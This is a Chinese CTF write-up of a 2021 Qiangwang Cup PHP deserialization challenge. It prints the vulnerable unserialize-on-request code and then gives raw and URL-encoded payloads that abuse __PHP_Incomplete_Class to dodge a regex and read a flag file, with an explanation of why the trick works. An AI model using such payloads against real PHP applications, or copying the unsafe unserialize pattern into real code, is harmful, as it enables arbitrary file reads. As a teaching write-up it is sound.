序列化与反序列化漏洞实例
实验环境:
本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php function.php myclass.php

index.php :
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if (preg_match('/myclass/i', serialize($res))) {echo "???";throw new Exception("Error: Class 'myclass' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";
function.php :
<?php
function __autoload($classname) {// function.phprequire_once "./$classname.php";
}
?>
myclass.php :
<?php
// myclass.php
//class myclass{}
class Hello {public function __destruct() {echo "I'm destructed.<br/>";var_export($this->qwb);if ($this->qwb) {echo file_get_contents($this->qwb);}}
}
?>
实验思路:
在本次中该实验考察的主题是序列化与反序列化中,当我们反序列化一个不存在的类时的处理机制。我们利用这个处理机制构建特殊的序列化的数据传入,绕过index.php中正则的过滤,最终成功的读取出flag.txt文件中的数据。注意:我们在读取时需要写绝对路径,否则读取不到数据,这里的路径为:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt
开始实验:
在开始实验前我们需要知道序列化与反序列化中的几个特殊机制:
(1):PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类。
(2):当序列化字符串中包含了一个未定义的类名,且该类没有在当前环境中被定义时,__autoload 函数就会被触发以尝试加载相应的类定义。
在这个题目中,我们需要加载myclass.php中的hello类,但是要引入hello类,根据__autoload我们需要一个classname为myclass的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class的特殊处理进行绕过
在index.php页面中用户可控参数ctfer,ctfer需要为一个序列化的数据。对ctfer进行反序列化再序列化后使用正则判断是否存在myclass关键字,存在就直接抛异常退出,否则就进行往下。
我们构建特殊的序列化字符串数据,ctfer:
ctfer:a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}这是一个序列化字符串,它包含了两个对象。第一个对象是一个名为 `__PHP_Incomplete_Class` 的类,它有一个属性 `qwb`,该属性的值是另一个名为 `myclass` 的对象。由于 `myclass` 类没有定义,所以它的值是空对象。第二个对象是一个名为 `Hello` 的类,它有一个属性 `qwb`,该属性的值是一个字符串 `D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt`。这个序列化字符串可以用于在 PHP 中进行反序列化操作,以恢复原始的对象状态。
注意:由于我们时再浏览器上面进行输入的,所以我们还需要遵循规则,将其转化为urlcode编码后再传递:
ctfer = a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bO%3a7%3a%22myclass%22%3a0%3a%7b%7d%7di%3a1%3bO%3a5%3a%22Hello%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cdvwa%5cqwb%5cflag.txt%22%3b%7d%7d
之后我们再浏览器上面查看运行结果:我们发现文件被成功的读取出来了,并且绕过了index.php中的正则。
原理:
可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class中属性,会触发autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class没有__PHP_Incomplete_Class_Name该对象会消失,从而绕过preg_match的检测,并在最后触发Hello类的反序列化。
对比可以发现,对ctfer进行反序列化再序列化后,myclass消失了,成功的绕过了index.php中的正则:
传入的序列化数据ctfer:
ctfer=a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}//对ctfer进行反序列化
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
结果:
array (size=2)0 => object(__PHP_Incomplete_Class)[1]public 'qwb' => object(__PHP_Incomplete_Class)[2]public '__PHP_Incomplete_Class_Name' => string 'myclass' (length=7)1 => object(Hello)[3]public 'qwb' => string 'D:\phpstudy_pro\WWW\dvwa\flag.txt' (length=33)//对反序列化的数据再进行序列化
var_dump(serialize($res));
结果:
string 'a:2:{i:0;O:22:"__PHP_Incomplete_Class":0:{}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}' (length=119)
相关文章:
序列化与反序列化漏洞实例
实验环境: 本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php function.php myclass.php index.php : <?php // inde…...
6、while循环 - 习题解析
目录 解析部分:分支练习1244. 请问一个正整数能够整除几次2问题描述解题思路代码实现代码解析 1062. 求落地次数问题描述解题思路代码实现代码解析 1254. 求车速问题描述解题思路代码实现代码解析 1261. 韩信点兵问题描述解题思路代码实现代码解析 解析部分…...
ReentrantLock可重入锁
可重⼊锁,这个锁可以被线程多次重复进⼊进⾏获取操作。 ReentantLock继承接⼝Lock并实现了接⼝中定义的⽅法,除了能完成synchronized所能完成的所有⼯作 外,还提供了诸如可响应中断锁、可轮询锁请求、定时锁等避免多线程死锁的⽅法。 在并发量…...
如何秒杀系统架构设计
原文路径:https://learn.lianglianglee.com/%e4%b8%93%e6%a0%8f/%e5%a6%82%e4%bd%95%e8%ae%be%e8%ae%a1%e4%b8%80%e4%b8%aa%e7%a7%92%e6%9d%80%e7%b3%bb%e7%bb%9f/00%20%e5%bc%80%e7%af%87%e8%af%8d%20%e7%a7%92%e6%9d%80%e7%b3%bb%e7%bb%9f%e6%9e%b6%e6%9e%84%e8%ae%be%e8%ae%…...
深度神经网络——什么是降维?
引言 什么是降维? 降维是用于降低数据集维度的过程,采用许多特征并将它们表示为更少的特征。 例如,降维可用于将二十个特征的数据集减少到仅有几个特征。 降维通常用于无监督学习任务 降维是一个用于降低数据集维度的过程,采用许…...
SpringMVC—RequestMapping注解
一、RequestMapping注解 RequestMapping注解:是Spring MVC框架中的一个控制器映射注解,用于将请求映射到相应的处理方法上,具体来说,他可以将指定URL的请求绑定到一个特定的方法或类上,从而实现对请求的处理和响应。 …...
Java线程池基本概念
全局和局部线程池 全局线程池 在Spring框架中,全局线程池如ThreadPoolTaskExecutor通常是作为Spring Bean存在的,它们的生命周期由Spring容器管理。当Spring容器关闭时,这些线程池也会被适当地清理和关闭。因此,开发者通常不需要手…...
智能车联网安全发展形势、挑战
一、技术演进加速车联网安全环境复杂变化 当前,5G、大数据、大算力、大模型等技术正加速在车联网领域实现融合应用。车联网的网络通信能力、感知计算水平以及创新业务应用都在快速发展,与此同时,车联网的网络安全环境也在随之演进变化&#…...
AWS概述
AWS概述EMR Serverless Aamzon Web Services提供了一系列全球范围的云产品,包括计算、存储、数据库、分析、网络、移动、开发工具、管理工具、IoT、安全和企业应用:按需交付、及时可用、采用随用随付的定价模式。你可以畅享200多种服务,从数据…...
MySQL常见面试题自测
文章目录 MySQL基础架构一、说说 MySQL 的架构?二、一条 SQL语句在MySQL中的执行过程 MySQL存储引擎一、MySQL 提供了哪些存储引擎?二、MySQL 存储引擎架构了解吗?三、MyISAM 和 InnoDB 的区别? MySQL 事务一、何谓事务࿱…...
c语言回顾-函数递归
1.递归的介绍 1.1什么是递归 递归是指在一个函数的定义中调用自身的过程。简单来说,递归是一种通过重复调用自身来解决问题的方法。 递归包括两个关键要素:基本情况和递归情况。基本情况是指当问题达到某个特定条件时,不再需要递归调用&am…...
消息队列-RabbitMQ-延时队列实现
死信队列 DLX,全称为Dead-Letter-Exchange,死信交换机,死信邮箱。当消息在一个队列中变成死信之后,它能重新发送到另外一个交换器中,这个交换器就是DLX,绑定DLX的队列就称为死信队列。 导致死信的几种原因: ● 消息…...
【热门开源项目推荐】满足不同程序员的需求与关注点
目录 前言一、热门开源项目介绍二、使用开源热门项目的优势(一)经济方面(二)技术方面(三)社区支持及协作方面 三、程序员选择项目模型建议(一)关键步骤(二)示…...
一文理清GO语言日志库实现开发项目中的日志功能(rotatelogs/zap分析)
一文理清GO语言日志库实现开发项目中的日志功能(rotatelogs/zap分析) rotatelogs rotatelogs 是一个用于管理日志文件的 Go 语言库,它提供了自动轮换、压缩和删除旧日志文件的功能。这个库可以帮助你更好地管理和维护你的应用程序日志。要使…...
【Go语言精进之路】构建高效Go程序:了解string实现原理并高效使用
🔥 个人主页:空白诗 🔥 热门专栏:【Go语言精进之路】 文章目录 引言一、Go语言的字符串类型1.1 字符串的定义1.2 字符串的零值可用1.3 字符串的不可变性1.4 字符串的拼接1.5 字符串的常用方法1.6 实际使用示例 二、字符串的内部表…...
HDFS 常见命令
在HDFS创建文件夹:hdfs dfs -mkdir /test 复制本地文件到HDFS中某个目录下:hdfs dfs -put /本地路径 /hdfs 路径 查看文件内容:hdfs dfs -cat /test.txt 查看当前文件夹目录:hdfs dfs -ls / 查看文件夹中的文件数:…...
示例:WPF中应用Grid的SharedSizeGroup设置整齐的布局
一、目的:应用Grid的SharedSizeGroup设置整齐的布局 二、实现 <ItemsControl ItemsSource"{local:GetStudents Count5}"><ItemsControl.ItemTemplate><DataTemplate><Grid ShowGridLines"True"><Grid.ColumnDefinit…...
React的form表单自定义校验规则
使用antd开发的过程中,必定会遇到需要对form表单进行必填校验的处理,正常情况下,我们都会一个空的必填校验,如下:一般我们只需要简单配置rules即可 <FormItem label"管理员姓名" {...itemLayout.wholeLi…...
一种新的一维时间序列信号盲解卷积算法(以旋转机械故障诊断为例,MATLAB环境)
一种新的一维时间序列信号盲解卷积算法(以旋转机械故障诊断为例,MATLAB环境),可作为深度学习信号前处理过程,水个SCI不是问题。 机械设备的状态信号中往往蕴含着大量的设备异常信息。如何从繁多的机械状态信号中提取足…...
618电商是社区网站入局的好时机吗?
近日,随着618大促的临近,许多内容平台像B站、小红书等纷纷被电商活动所充斥,让用户感觉仿佛被电商绑架一般。这种用户体验的极度不佳让人开始思考,难道这就是互联网社区的未来发展方向吗? 在所有平台性质的社区中&…...
Vim 调用外部命令学习笔记
Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...
如何更改默认 Crontab 编辑器 ?
在 Linux 领域中,crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用,用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益,允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...
给网站添加live2d看板娘
给网站添加live2d看板娘 参考文献: stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下,文章也主…...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
数学建模-滑翔伞伞翼面积的设计,运动状态计算和优化 !
我们考虑滑翔伞的伞翼面积设计问题以及运动状态描述。滑翔伞的性能主要取决于伞翼面积、气动特性以及飞行员的重量。我们的目标是建立数学模型来描述滑翔伞的运动状态,并优化伞翼面积的设计。 一、问题分析 滑翔伞在飞行过程中受到重力、升力和阻力的作用。升力和阻力与伞翼面…...
